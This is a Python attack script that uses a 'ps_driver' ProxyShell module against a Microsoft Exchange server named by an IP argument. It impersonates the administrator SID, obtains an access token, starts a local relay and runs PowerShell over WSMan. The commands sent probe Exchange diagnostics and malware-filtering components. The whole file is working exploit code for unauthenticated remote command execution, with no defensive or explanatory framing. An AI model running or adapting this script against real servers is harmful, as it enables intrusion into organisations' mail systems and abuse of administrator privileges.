#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
ip = sys.argv[1]
ps = P.ProxyShell(f"https://{ip}", timeout=15)
ps.get_fqdn(); ps.get_legacydn(); ps.get_sid(); ps.sid = ps.admin_sid
print("token:", "OK" if ps.get_token() else "FAIL")
port = random.randint(20000, 40000)
P.start_server(ps, port); time.sleep(1)
def dump(cmd):
    print("\n===== CMD:", cmd)
    try:
        o, e = P.wsman_shell(cmd, port)
        for x in o:
            ap = getattr(x, 'adapted_properties', None)
            if ap and 'Result' in ap:
                print(str(ap['Result'])[:2500])
            else:
                print(str(x)[:1500])
        if e:
            for x in e: print("ERR:", str(x)[:250])
    except Exception as ex:
        print("   EXC:", type(ex).__name__, str(ex)[:200])

for c in [
  'Get-ExchangeDiagnosticInfo -Process "FIP-FS"',
  'Get-ExchangeDiagnosticInfo -Process MSExchangeTransport',
  'Get-ExchangeDiagnosticInfo -Process MSExchangeTransport -Component SystemProbe',
  'Get-ExchangeDiagnosticInfo -Process MSExchangeTransport -Component SystemProbe -Argument "GetServices"',
  'Get-MalwareFilterRecoveryItem',
  'Get-MalwareFilteringServer | Get-ExchangeDiagnosticInfo',
]:
    dump(c)